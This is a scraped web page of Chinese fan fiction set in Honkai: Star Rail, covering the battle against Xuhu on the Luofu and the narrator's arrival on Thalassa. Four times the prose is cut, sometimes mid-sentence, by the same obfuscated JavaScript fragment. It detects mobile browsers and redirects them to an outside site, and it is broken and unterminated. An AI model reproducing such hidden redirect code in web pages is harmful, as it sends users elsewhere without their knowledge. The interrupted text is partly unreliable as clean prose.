;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250140|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“先前在朱明仙舟时,师父教过我一些常识。” “师父?”景元问道:“可是说的怀炎将军?” “正是。” 景元笑道:“先前听应星提起过你,但是一直未曾得见。我们还以为他是吹牛,没想到竟真有此人。” “应星提过?” 景元点头:“他说在朱明有个小师妹,活泼开朗,但却经常好心办坏事。锻造的技艺学不了多少,却喜欢习武。但也是半斤八两,没学出什么东西来。” 原来之前的你在应星眼中还有这番印象吗。 你有些接不上口,只能尴尬地再次摸了摸鼻子,然后岔开话题道:“最近罗浮有战事吗?” 说起这个,景元的神情严肃了些:“正是,丰饶令使倏忽要来攻打罗浮,抢夺建木了。”他笑了一声:“手下败将,胆子不小。” “如果有需要的地方,我也可以帮忙。” 景元笑着点头:“自然,在此先行谢过无名姑娘了。但……”他话头一转,“你到这里来原本不是为此事找我的吧。” “不愧是景元。”你从袖中拿出一根发簪。 景元一眼便认出来了:“这是应星的发簪。” “是的。”你慢吞吞补了一句:“早上我还摸过丹枫的龙角。” ? “不是吧。”景元蓦然间笑了:“不愧是你,居然能拿到应星的发簪,摸到丹枫的龙角。” “所以我是来找你兑换昨日在宴席上的承诺的。不过,也不急于一时。”你弯了弯唇角:“消灭了倏忽再说也不迟。” “行。”景元笑道:“一切但听无名姑娘的吩咐。” 你当然也道:“骁卫折煞我了。” 说罢,两人一阵哈哈大笑。白珩不知何时从你的身后冒出来,一手揽住你的腰身,侧出半边身子与景元打了个招呼。 “景元,不许欺负我家无名。” 景元微微挑眉:“你家无名?” “无名是我带回罗浮的,自然是我家的。” “是是是,我不与你争抢。”景元应声道。 你有些无奈:“好歹问下我的意见。” “你的意见就是我的意见。”白珩笑嘻嘻道:“我的意见自然就是你的意见。” 少女说话的时候,淡紫色的狐耳轻轻抖着。你有些没忍住,伸手捏住那抹柔软,轻轻揉搓了下。 “好哇。”白珩佯装生气,“居然未经允许,擅自摸我的耳朵,看我不报复你。”她冲你的咯吱窝一捣鼓,你连连后退求饶,甚至躲到景元身后。 白珩撸起袖子:“躲到别人背后算什么英雌好女。” 你吐了吐舌头,嘿嘿笑道:“我可从未说过我是英雌,道德绑架无效。” 景元左右闪躲不得,只能无可奈何地陪着你们胡闹。 “军事重地,岂容你们在此大声喧哗。”玩耍间,镜流裹挟着一身寒气而来。 景元立即举了双手,退到一边,置身事外,求生欲极为强烈:“镜流,师父,此事与我无关。” 你乖乖地从景元身后走出,有些歉意地笑笑。白珩则是一把揽住镜流的脖子,“哎呀别生气嘛,偶然玩闹一下而已。我保证,下次再也不这样了。” 你如小鸡啄米般疯狂点头,伸出三根手指朝天:“臣附议。” 21.仙舟「罗浮」 接下来的几日,你都有些无聊。因为大家都在忙,忙着接下来与丰饶民的战争。而你却有些无所事事,只能在大街上无聊地闲逛。其实这也算是有些好处的,因为你能察觉到一些不引人注意的事情。而这些虽然看起来有些不起眼,但是有时候却能起到关键致命的作用。 比如你溜达到了绥园,在这里见识到了不一样的景色。一团团幽蓝色的小火苗在空中跳跃着,远远看上去,有些幽森但又有些空灵的美丽。 你有些好奇地碰了碰那团幽蓝色的小火苗,触碰的瞬间,它直接上了你的身。你有些不敢置信地低头看着自己的双手,淡淡的光晕描绘出你身体的轮廓。 一个粗犷的声音在你的脑海中响起。 “小姑娘,小点心,可口的食物——” 声线极为深沉,但语调却有些欢快。你有些不能适应,掌心抵上自己的太阳穴,拼命揉搓着。 “我会一点一点蚕食掉你的血肉,吸取你的精气神,为你这具身躯为我所用。” 呵,口气不小。 你晃了晃自己的脑袋,竭力保持清醒。 “点点星火,成燎原之势。放弃你的挣扎,坦然接受一切。” 想得美。 你在绥园的这片竹林里横冲直撞,锋利的竹叶划破了你的脸颊,你伸手一抹,指间蹭上鲜血。 “你?” 陌生的声音从旁传来,你抬头,有些惊讶地看着本该在练兵的滕骁将军。 “将军。” 你胡乱抹了把脸,尽量让自己看上去没有那么地狼狈。滕骁朝你走了过来,伸手探向你的头发。从上面摘下几片夹杂在发丝里的竹叶,然后问道:“你怎么会在此处。” “回禀将军,只是有些无聊,便来这里逛逛。若是叨扰了将军,在下这便回去。” “你与景元他们说话时也这般拘谨吗。” “将军缘何有此一问?” 滕骁似乎没料到你会反问,便解释了一句:“随便问的。” 你迟疑片刻道:“将军身份贵重,在下有些拘谨也在情理之中。” “姑娘话中似有责怪之意。” “不敢。” “有何敢不敢的。”滕骁双手环胸依靠在一块青色的大石头上,“前几日在演武台上,姑娘可是与白珩景元他们玩得不亦乐乎。” “啊。”你抓了抓头发:“抱歉,将军。” “没什么。” 滕骁笑了笑,笑容比起景元,虽然少了几分感染力,但也是极为真挚的。你顿时有些放松下来,大着胆子问道:“不知将军深夜来此,所为何事?” “有个老朋友约我在此处一见。” “老朋友?”你有些疑惑,“不知将军的老朋友……” “远在天边,近在眼前。” “啊。”你有些不确定地指了指自己:“将军莫非说的是我?” “半斤八两,是姑娘身上的燎原。”滕骁直起身子,“不过我稍感意外,姑娘竟完全不受岁阳的影响。” 你才明白为什么滕骁和你说了这么多的话,原来竟是如此。 “燎原约我在绥园决战,不想他选错了人。若非如此,这一战,谁赢谁输,还尚未得知。” “不管原先结果如何,如今都是将军胜了。” “前几日景元在我面前提起过你,我诸事缠身,直到如今才有机会说了几句话。相谈甚欢之际,才知景元提起之用意。” 一番话说得客套又疏离,你只能选择不接话,静静等待着滕骁接下来还会说些什么。没想到他竟也不说话了,只是望着头顶上的圆月出神。 你抬头望去,才发觉原本淡黄色的月亮已经有些赤红。这是什么讯息,你和滕骁心中都有了数。 滕骁匆匆离去,你也紧随其后。只见一棵极为粗壮有力的藤条拔地而起,直冲云天。无数花朵在根茎竞相绽放,散发着极为危险致命的美丽。 数以万计的丰饶民争先恐后地拿着强弩冲锋,在藤条的掩护下不断残血重生。云骑军抵御外敌,从不后撤。无数金人前赴后继,鏖战在前。 镜流和丹枫在前方浴血奋战,两人势不可挡,狠狠将丰饶民的进攻撕开一个口子。应星在后方操持金人,确保中途不出别的差错。白珩驾驶星槎穿梭在空中,占据空中优势,将试图上岸的丰饶民狠狠击退。景元与滕骁在后方压阵,密切关注战局。 你站在高处,手持银色弓箭,直接往藤条的根茎处瞄准。你知道,这是倏忽的本体。每一箭的落下之处,都在原地升腾起极为巨大的蘑菇云。丰饶民的身体被炸得七零八落,残缺的肢体四分五裂。 但这根藤条太为粗壮,你绞尽脑汁,也只是炸掉了一丁点而已。你正要离得更近些,脚下蓦然间升腾起水流,宛若喷泉般将你升至最高处。丝丝水流缠绕住你的身体,将你送至藤条附近。声声龙吟震彻天地,饶是粗壮如藤条,也忍不住颤动。 你再次一箭射出。 白色的箭矢狠狠刺入藤蔓,宛若一根毒刺一般嵌入。而那藤蔓如被踩了尾巴的毒蛇一般,疯狂舞动起来。镜流一记飞剑劈来,直接将藤蔓斩作两段。 “哈哈哈哈哈哈哈哈哈哈哈哈哈!” “不知死活的杂种,以为这样便能消灭我了吗?我是打不烂杀不死的!” 血红色的潮水从根茎处迅速蔓延上来,直接淹没了罗浮大半洞天。沾染到血潮的云骑都在极度的痛苦中生生化为丰饶孽物,不分敌我地砍杀一切。 丹枫见状,直接引波月古海之水与血潮形成对抗之势。白珩等狐人飞行士也纷纷冲向地面,挽救未经血潮影响的云骑。镜流凝聚冰雪之力,试图将血潮彻底冻住。然而越来越多的血水在洞天之内翻滚,尖叫嘶吼声不绝于耳。 你放弃了弓箭,直接越到藤蔓之上,试图生生撕裂根茎。白珩驾驶星槎冲到你面前:“无名,这样下去不行,你上来,我有法子。” 然话音刚落,不等你跃上星槎,便见金黄色的神君操持大刀从藤蔓的后方砍出。藤蔓新出的枝杈如尖刺一般狠狠插入神君的身体,意图将其牢牢控制住。 “难道将军是要……” 白珩的声音被丹枫的龙吟声打断,他宛若陷入某种癫狂一般。本应抵御血潮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263991|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古海之水却疯狂涌入罗浮境内,几乎就在瞬间,罗浮已经成为一片汪洋大海。 “无名!” 白珩的声音唤醒了愣神的你。你没有犹豫,跃上了星槎。此时只余你们二人,你看到白珩的掌心内像是被腐蚀了一般,露出黑色的漩涡,且深不见底。 白珩将驾驶权让给你,并说在撞击藤蔓之时要你即刻跳出星槎。你却将白珩手中的黑洞抢了过来,并未借用星槎,直接如一道射出去的飞箭一般冲向那深深刺入神君身体的藤蔓。 砰—— 黑洞散发出刺眼的白光,刹那间填充了你的全部视野,声音如潮水般从你的耳中退去。 “无名!” 些许血红刺破白色的原野,你看到白珩驾驶着星槎直冲你而来,更是看到滕骁意图通过自爆的方式与倏忽同归于尽。 这样的事情绝对不可以发生! 啊—— 一道更为撕裂的声音从你口中发出,你的身躯瞬间增大了无数倍,更为密集的藤蔓从你的身上迸发而出,与倏忽的藤蔓互相缠绕撕扯。 蓦然间,一团黄色的碎石在你脑海中出现。胸膛两侧两个淡黄色的宛若两颗眼珠一般,稍往下有两只黑棕色的大手,活像是托举自己的身躯一般。 哦。 你得到了存护星神的暼视。 一柄极为巨大的黄锤从天而降,直接砸在了倏忽的身上。你与倏忽紧密相连,这一锤子砸得你也头昏眼花。 你想起了握在手中的黑洞,直接高举过头顶。强大的吸引力将你与倏忽一同吸入其中,连带着神君一道。 你拼尽全力召出弓箭,一箭射断了神君与倏忽的链接,然后一掌将神君拍了出去。 当你的身躯狠狠向下坠落时,眼前如同脆弱的玻璃一般裂开。你只能向下探望,却见本应深不见底的黑洞内却蓦然间出现了一团紫不拉叽的粘稠东西,两只白色的眼睛一大一小像是在蔑视你一般。 没想到,想要吞噬你的竟是虚无星神Ⅸ。 这算不算是另一种意义上的暼视呢。 你得到了虚无星神的暼视。 想想你竟觉得有些可笑。 祂张开了血盆大口,身上的紫色活像是淤泥一般开始缓缓脱落,露出里面最为洁净的白色。 愣神间,你被祂一口吞入。视野被漫天的黑色覆盖,但你却没有失去意识。伸手不见五指,所触及到的只有如流沙一般的淤泥。 宇宙的最开始或许就是一片混沌,但如今不也是欣欣向荣的世界吗。或许最终都将归于虚无,但最起码不是现在。 力量从你的体内喷簿而出,彻底撕开黑洞。些许白光洒在你的身躯之上,你此刻浑身淤泥,满身长满枝条,指定十分狼狈。 但这点儿程度,不够你社死的。更为震惊的是,侵占满屏幕的却是一个有着红色眸子的机器头,纷乱的电线缠绕其中,脏污且凌乱。 哦。 你面无表情地想。 好像,不经意间。 你得到了智识星神的暼视。 被真理医生知道的话,会不会被他打死。 22.塔拉萨波利斯 果然如你所料,再次醒来时你所处的地方已经不是罗浮。你看了看周围,发觉自己身处在一片汪洋里,头顶还有巨大的鱼浮在空中。仔细看去,似乎有六只眼睛。 奇了怪了,鱼不生活在水里,反而生活在空中。天空本是飞鸟的地盘,就这么被鱼占领了。那么它们到哪儿去,难道是水里。 你低下头,一下子沉到海底。 好家伙,还真的看到了原本翱翔在天空的无数飞鸟在海底畅游。天上的鱼叫飞鱼,海里的鸟难不成叫游鸟? 什么奇奇怪怪的称呼。 你浮出水面,才发现自己的两只手居然都变成了金黄色的锤子。清晰的水面倒映出你如今的模样,披头散发,身上各处长满纵横交错的树枝,枝杈居然还抽出了嫩芽,但好歹脸还是一张人脸。你突发奇想,不知道脚有没有变成巡猎星神岚的轮子。 想起获得皮肤时飞霄曾说过的话,既然还保存了一张人脸,那么说明这里可能也是仙舟联盟的地盘。 你朝岸上游去,远远望去,岸边集聚着一群人,穿着奇奇怪怪的服饰,唱着你听不懂的歌谣,吃着看起来像是草药的东西,还跳着乱七八槽的舞蹈。 像是在举行什么节日一样。 你从水里爬上来,低头看向自己的脚。 果然不出你之所料,脚果然变成了轮子。你拨弄了下灰白色长发,想起毁灭星神纳努克的头发好像也是这个颜色。 你叹了口气。 照这么看来,你身体的每一处部位都或多或少变成了层暼视过你星神的一部分,那么智识星神博士尊还有虚无星神Ⅸ作用在你身上的难道是血液和血管? 随便猜猜,不保真哈。你可不想仅仅只是为了满足一下自己的好奇心,就在身上划拉一刀。 不过总有人替你划下这一刀的,因为那群唱着歌跳着舞的人已经看到了你。 为首的是一个穿着长长的白色衣袍的人,戴着大而宽的兜帽,浑身上下只露出一双眼睛。手举着比他人还高的权杖,一下又一下地磕在地上,朝你走来。 跟在他身后的是一群像是被下蛊了的平民,四肢以相当奇怪的姿势扭动着,走出六亲不认的步伐。 你的脚下是生了轮子的,此刻逃跑尚能逃脱。但是周围都是沙地,而且泥泞不堪。说不准哪块地方就有个流沙一样的东西,等着你陷进去。 再者说,你虽然是外来者,但是一没偷二没抢,三没杀人四没放火,他们凭什么要抓你。 然而你心底的话他们是听不到的。只见那个白袍人一声令下,你便被他们绑了起来,带到最高处。 数不清的木柴在你的身旁堆叠,无数人拿着火把在叫嚷着。你听不懂他们在说什么,但也没必要懂。死里逃生好几次了,这点儿小阵仗还奈何不了你。 更何况,你是真的想知道,是否你的每一次死亡带来的都是星神的暼视。如果现有的星神都暼视完了,你是不是就要嘎了。 白袍人走到你的跟前,手里拿着一碗紫不拉叽得像是泥一样的东西抹到你的脸上。 这可是你身上仅存人的东西,可不能让他就这么给破坏了。你挣脱了开了绳索,在白袍人震惊的目光中抢过他手里的紫泥碗,不由分说便往他的脸上扣去。 以上只是你的想象。 你虽然挣脱开了绳索,但是由于你的手已经变成了锤子,只能捶捶打打,完全无法做到抢碗这等难事。不过要是这位白袍人手没端稳,你倒是可以接一下,然后扣在他的脸上。只是不巧,这位白袍人虽然被你的力气震惊到了,但却很快镇定了下来,手里的碗端得稳稳的。 你和他大眼瞪小眼,片刻,你直接一拳砸向白袍人的脸。一锤子下去可不得了,这可是克里珀赏赐的锤子,不说把他的五官砸成平地吧,怎么着也得出点儿鼻血。 但是这个白袍人还是有点儿本事的,居然躲过了你的攻击,然后直接将那碗紫泥扣在了你的头上。 你怒了,对那白袍人缠斗起来。他一直骂骂咧咧的,但是由于语言不通,你实在听不懂他说了什么。唯一可以确定的是他仿佛掌握了多种语言,一直在切换着语种骂你。 你将他揍倒,跨坐在他的身上,一拳砸碎了他的脑袋瓜子。鲜血和脑浆子流了一地,慢慢滑到下面那群人站的地方。 然而他们既没有在你和白袍人缠斗的时候冲上来把你打倒,也没有流露出一丝一毫的伤感,反而趴在地上,舔食着白袍人流的鲜血。 这一幕震惊到你了。 但更为震惊的还在远处,你眼睁睁地看着,又一位白袍人从海面上踏浪而来。他有着和先前那位一模一样的装束,就连神情也是一般无二。 你向下滑了下去,到了白袍人的面前也没停下,直接硬生生从他的身体上碾压过去。骨头咯吱的声音在脚下响起,沙地瞬间变得血赤呼啦。就连白袍人的两个眼珠子,也如泡沫一般,在阳光下炸裂。 几乎像是一个讯号般,那群正在舔舐鲜血的人闻着味道爬了过来。你的轮子上不可避免地沾染到了白袍人的鲜血,竟也被那群丧心病狂的人舔舐。 你滑到了海边,清凉的海水冲刷着你的轮子,洗掉了沾染到的血迹。但很快,又一位白袍人从海面上踏浪而来。不过这一次,他倒是没有举着那根比人还高的权杖,而是双手背在身后。由此一来,那根权杖也是横着的了。不仅如此,这人周身的气质也发生了极为巨大的变化。 先前手举着时,显得虔诚又冷漠,很符合那种在祭祀活动和宗教活动中扮演主持祭典的祭司一类人物的形象。但现在这个拿权杖的姿势,却是显得随性又自由,像是还没有玩够,但却被逼无奈,只能放下手中的玩具来主持祭典一样。 你注视着那个白袍人,没有再取他性命,但也没有避让的意思,为的就是看看这位白袍人对你的态度如何。 那位白袍人到了你的跟前,与你对视。从他那双眸子里,你看到了一丝戏谑。正要动手,然而比较意外的事情发生了——那位白袍人绕开了你。 甚至还照顾到了那根权杖的感受,一点一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15277011|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点往旁边移动。直到顶端再也碰不到你,他才往前迈步。 看来前面两位白袍人的死给他留下了很深的印象,他不敢再招惹你。你滑动着跟上了他的步伐,他比较意外你的举动,轻声笑道:“怎么,想给我脑袋来上一锤子?” “你会说话?” “我会不会说话你不是早就知道吗,比起我来,更可疑的是你。” 从白袍人的这两句话里,你得出了一条有用的信息——他有着前面两位白袍人的记忆。虽然这一点已经不是什么秘密了,早在他绕开你的时候就可以察觉到,只是没有现在这么直白。 你:“你会很多种语言?” 白袍人:“我到过很多不同的星球,会多种语言难道很奇怪吗。” 这个家伙说话,简直是能气死人的程度。 你:“这里是哪里。” 白袍人:“塔拉萨。” 你:“塔拉萨是什么地方。” 白袍人:“这里生活着伊须磨洲人,他们是一群尚未开化的人种,需要驯服。” “……”你有点儿无语:“你驯服人的手段难道就是让他们喝你的血?” 白袍人振振有词:“这只是其中的一种的方式而已。” 你:“……那我呢?” 白袍人:“你的献祭也是一种手段。所有的外来物种,都是要被献祭的。唯有外来者的鲜血,才能滋养这片大地。” 你不以为然:“什么歪理。” 白袍人:“时间会证明我说的一切。” 你:“说不定被灭种的是原著民。” 白袍人:“如果你没有到来,我也怀疑会有这个可能。但现在,我十分以及特别肯定,这片土地注定是要被外来者的鲜血滋养的。” 你若有所思。 白袍人:“你来自未来,你身上的信息会告诉我未来发生的一切。” “你是什么人?” 连诸如景元飞霄这样未来会成为令使级别的人物都意识不到你是来自未来的人物,眼前这个来自尚未开化的星球的祭司又怎么会知道。难道他是令使,或者是星神? 但是翻遍过往星神的历史,不论是已经陨落的开拓还是繁育亦或是秩序,都没有长成白袍人这个样子的星神。难道他的时间要比记载的星神历史更久吗。 他为什么要将全身裹得严严实实的,唯独露出一双眼睛。难道—— 你正想掀了他的白袍,但是如今你的手变成了锤子,只能是有心而无力。你只能眼巴巴地看着他离开,却无能为力。 你正要滑进大海里,将全身的血迹洗个干净。不想,轮子才刚刚进水,头顶便传来一阵轰隆隆的声音。不像是打雷,更像是有什么东西要砸下来了。 你抬头一看。 好家伙,一艘着了火的大船正直愣愣往下砸去!在半空中,它便开始分崩离析。着了火的碎片簌簌而落,仿佛天上在下火球似的,狠狠砸向那些还在啃食鲜血的人群。刹那间火光冲天,宛若世界末日降临一般。 23.塔拉萨波利斯 浮在半空中的飞鱼首当其冲,它们试图用肉身来抵挡这艘大船的降落。但是无济于事,这艘大船的下坠是势不可挡的。看这个架势,钻入水里估计也会被砸个稀巴烂。 你走到白袍人的跟前,他指着那从天而降的大船:“诺,我说的外来者的鲜血来了。” 真想一巴掌拍死这个人。 还什么外来者的鲜血,这分明是侵略者。不过采取这样类似于极端自毁方式的降落方式,也着实罕见。 天空炮火纷飞,白袍人却岿然不动。而那些火星像是刻意避开他的身体一般,就是不往他的身上砸去。你原本还想着能看到他的白袍烧毁,然后见识到他的庐山真面目呢,这下倒是什么也看不到了。 不多时,这里已经成为一片火海。那艘大船掉下来的碎片竟然连海水也能点燃,想必来头不小。 有几颗火星子落在了你的头发上,烧得你整个脑袋瓜子都秃了,连带着身上的树枝也点着了。但是你如今身负毁灭和丰饶之力,这点儿小伤还不至于置你于死地。烧毁的树枝很快又生长出来,虽然能看出皮肤下互相缠绕的根根电线在呲啦呲啦冒着火星,但是却是能看到些许紫色的淤泥覆盖其上。每当要烧起来时,那些紫色的淤泥便会自发会扑灭这些小火苗。 你看着自己身体的变化,越发觉得有些不可思议。自己到底是个什么东西。原来是个垃圾桶,但是现在却是如同怪物一般,人不像人,鬼不像鬼的。每一件发生在自己身上的事情都很猎奇,甚至是匪夷所思。 你转而看向那稳如泰山的白袍人。不知道是不是有些急切的原因,你居然想求助这个看起来十分不靠谱的家伙。 你走到他的旁边,本欲伸手拍拍他的肩膀,不想锤子般的手却从他的身体内穿过。你有些不敢置信,再次抬起另一只手,却都是同样的结果。 这是他的原因还是你的原因。 你没有法子,只能和白袍人站在原地看着,心底里复杂得很。有那么一瞬间,你觉得自己十分冷血,眼睁睁地看着灾难发生却不加以阻止。虽然这些人不见得是什么好东西,但是也只是为了生存。与其赶尽杀绝,不如教化他们。 你直接奔向那艘大船下面。刹那间,你的身躯暴涨无数倍,然后举起锤子般的双手用力顶住瞬间下坠的船体。但是凭你一人之力却无法阻止船体的下坠,你的身躯一点一点往海水里凹陷。 如今海水已然成为了滚烫的沸水,灼热的温度再次烧毁了你身体上的树枝。你的皮肤开始溃烂,露出里面的电线。自然,还有源源不断的紫色淤泥。 淤泥流到海水里面,一发不可收拾。活像是填海造陆一般,淤泥起先还能分散在海水里,后来就直接沉淀在海底,越积越多。 要了命了。 海水漫过你的身躯你尚且还能呼吸,但是这紫色的淤泥可是出自虚无星神之手,仅仅只是没到腹部,你便觉得呼吸困难。 如今想要抽身也是不可能了,轮子一般的脚陷在淤泥里动弹不得,根本无法逃离。 “放弃吧。” 白袍人飞到你的面前,浑身上下依旧是遮得严严实实。即便身处力量碰撞的中心,强大的气流也没有让他的着装凌乱分毫。 “你……”你咬着牙:“你不是他们的神吗,为什么袖手旁观?” 白袍人:“我何时说过这话?你也看到了。在你杀死我的时候,他们没有站出来为我说一句话,甚至连个伤心的表情也没有。这也便罢了,事后还舔舐我的血。换做是你,你会保护这些人吗。” 你:“既然如此,你为什么还要在这里教化他们?如果他们死了,你难道不会后悔吗。” 白袍人:“后悔?大不了,时光回溯,重来一次。” “时光回溯?”你微微皱眉:“你有时光回溯的能力?” 银河中的星神,即便强大如存护星神克里珀或是记忆星神浮黎,皆没有时光回溯改变过去未来的能力。但是眼前这个人,他却说自己可以办到。 想起自己身上的不合理,你的时间线与大多数人是相反的。他们一直在向未来迈进,而你却一直在向过去穿梭。但是你的现在却改变了过去,仿佛对于你而言,你的过去就是过去,未来就是未来。 你在庇尔波因特撞毁了公司大楼,在这个时间点,距离罗浮的饮月之乱已经过去了八百余年,距离第三次丰饶民战争也已经过去了三十余年。曜青将军月御在第三次丰饶民战争中死去,飞霄接替其位。 但是你阴差阳错到了曜青仙舟,月御将军尚且还在,并且还知道你撞毁了公司大楼。你又到了罗浮仙舟,时间线又提前了,但是白珩却说她从月御那里听说过你。如今你又到了这里,这里是塔拉萨,仙舟岱舆坠毁的地方。时间线又是提前了,但是你却没有遇到能作证你在罗浮上的所作所为改变这里的人。 你闭了闭眼睛,其实还有一点不合理——那就是刃。刃在庇尔波因特见过你,如果按照上面来推断的话,你在罗浮上遇到他时他应该也是认识你的,但是他的认识却不是你以为的认识。 整件事情梳理下来,像是在一个程序里你发现了一个bug,但是编写这个程序的人为了打消你的疑惑,开始修复局部程序。但是修复得不是很完善,你还是发现了其中的漏洞。 这个书写程序的人……难道就是眼前的这位? “你到底是谁?” “到了该知道的时候你会知道的。” 你有些无语了。都到这个时候了,还卖什么关子。你有一股窒息的感觉,但这感觉不是来自那个欠扁的白袍人,而是已经没到脖子的淤泥。 “后悔吗?”白袍人问你,“如果后悔的话,我可以让时间倒流,你顷刻间就可以脱身。” 你艰难地喘着气:“你和记忆星神浮黎有什么关系?” “时间?记忆?”白袍人喃喃地重复着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284341|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两个字,倏然间嗤笑一声,“你也以为时间承载着记忆吗?” “可笑!” 白袍人一下子扯掉了自己的衣袍,露出本来面目。 这是一张如何怪异的面庞呢,脑袋一前一后各有半张面孔。前面的半张脸眼睛弯弯,唇角微扬。而后面的半张脸却是眼睛闭着,一滴泪从眼角缓缓滑落。嘴巴也是伤心的模样,唇角下垂。然而不管是前还是后,剩下的那半张脸都是被一半的齿轮覆盖。大的齿轮里面有着一中一小两个齿轮,链条有条不紊地转着。 头发尽数是链条的形状,在风的吹拂下发出金属碰撞间的清脆响声。身躯则是一个巨大的表盘,时间的标注却不是简单的阿拉伯数字,而是像是人类大学里学的什么高数数学题。表盘的两边伸出两只手,其实是表盘里的分针和秒针罢了。脚是两个齿轮,勉强能够移动。 呃。 这个画面怎么看都是一个表盘成了精,从后面钻出来了一个人头。不像是神,倒像是仙舟小说里描述的那种妖怪,实在与浮黎这种看上去高大上的星神没法比。 “记忆只是过去的东西,而时间有过去,有现在,有未来。记忆的命途太过狭窄,迟早有一日,我会吞噬掉祂。” 不知道该如何称呼,但你心底还是愿意称呼他为白袍人,也特别迫切他能把白袍披上。但是你现在却不能开口说话了,因为淤泥已经进了你的口鼻,呛进了你的气管。 他重新披上了白袍,恢复成那副神圣的模样。此时此刻,你才发现,他的衣袍上刻有很多个齿轮,而且还镶嵌着金色的边。还有那根比人还高的权杖,顶端镶嵌着一个金色的表盘,尾部居然还点缀有金色的流苏。权杖中间还刻有许多复杂的花纹,有些眼熟,似乎在哪里见过。 白袍人冷冷地看着你,些许灰白色的头发从兜帽中掉落出来。 终于你的眼睛也被淤泥吞噬。 与此同时,那艘巨船也终于稳稳落地。但也已经所剩无几,说是巨船,却是连徒具其形也无法满足了。残骸上遍布无数人的尸首,空气中散发着烧焦的味道。黑烟滚滚,呛得人睁不开眼睛。 你挣扎着冒出头来,咳咳吐出好几口淤泥。 白袍人显然有些惊讶,冷哼一声:“你居然没死。” “这么容易就死,去下一个世界复活你吗?” 白袍人:“哼,你在说什么疯话。” 你:“那就当我是说疯话好了。” 你从淤泥里爬出来,滚动着轮子找水源去了。这个白袍人实在让你有些后怕,因为你发现自己似乎有很多和他相像的地方。比如灰白色的头发,比如轮子一般的脚。还有那些眼熟的花纹,有点儿像垃圾星的宫殿柱子上刻的。 难道他是那个金色的垃圾桶?你走了之后,垃圾星已经被他占领了,他如今千里迢迢来找你算账?这个想法似乎比较合理。 你正想着,一盆凉水直接兜头浇下。 24.塔拉萨波利斯 “想什么呢?” 白袍人直接在你的额头上弹了一下。这一下直接把你给弹懵了,这个家伙这么自来熟的吗。你伸手摸了摸方才被弹过的地方,有些一言难尽地看着这个来历不明的白袍人,心里琢磨着这人到底是不是有什么大病。 显然白袍人并没有这种自觉,他收了权杖,双手环胸地看着你。你有些无语,只想着找个地方赶紧把身上清洗一下。 白袍人好像能洞悉你内心深处的想法似的,直接开口道:“时间的长河可以洗去一切污垢。” “呃……劳驾?” 你有些迟疑地开口,话音刚落,又是几盆凉水往头顶上浇下来。这些清凉的水对虚无星神的淤泥还是有些疗效的,几乎就在顷刻间,你便被洗刷了个干净。除了星神,恐怕没人能够做到吧。 看来这家伙没有胡说,真的是一位已经陨落的星神。但是不知道为什么,以这样的一副姿态半死不活地留存在世间。 “谢谢。” 你较为真诚地道了谢,然后和白袍人大眼瞪小眼。片刻后,你极为认真地问:“你真的没别的事情做吗,已经闲到这个程度了?” “因为是你,我才如此清闲。” 你想了想,“因为活儿都让我干了?” 白袍人估计是觉得言多必失,在你问出这句话的时候已经选择不开口了。 你换了种别的问法:“我现在还能回到正常的时间吗?要是回去了,我之前所做的那些改变会产生作用吗?” 想来是白袍人被你问得烦了,不耐道:“不能!不能!不能!” “那你这么做有什么意义吗?”你反问道:“你是时间星神,但却改变不了过去对未来的影响,你这个星神还有什么作用?” “呵,你又不是圣人,能救得了几个。” 这句话好像听起来有点儿耳熟。你摸了摸鼻子,似乎在庇尔波因特的酒吧里你说过这句话。 这个人真的是无所不用其极,原来在那个时候就已经注意到你了吗。想想你都有些后怕,得丧心病狂到什么程度才能做出这些匪夷所思的事情。 在你们说话的时候,已经陆陆续续跑来了其他伊须磨洲人。他们对着高大的舰船赞叹不已,虽然只剩个残骸,但还是足以震惊他们。那艘舰船还冒着黑烟,虽然不知道会不会发生二次爆炸啥的,但是应该没有多大问题,大不了再将这片儿夷为平地。 这个念头一冒出来,你顿时有些惊讶自己的脑回路。明明刚才你还因为担心他们而跑去顶着船底,现在却能说出如此冷漠无情的话来。 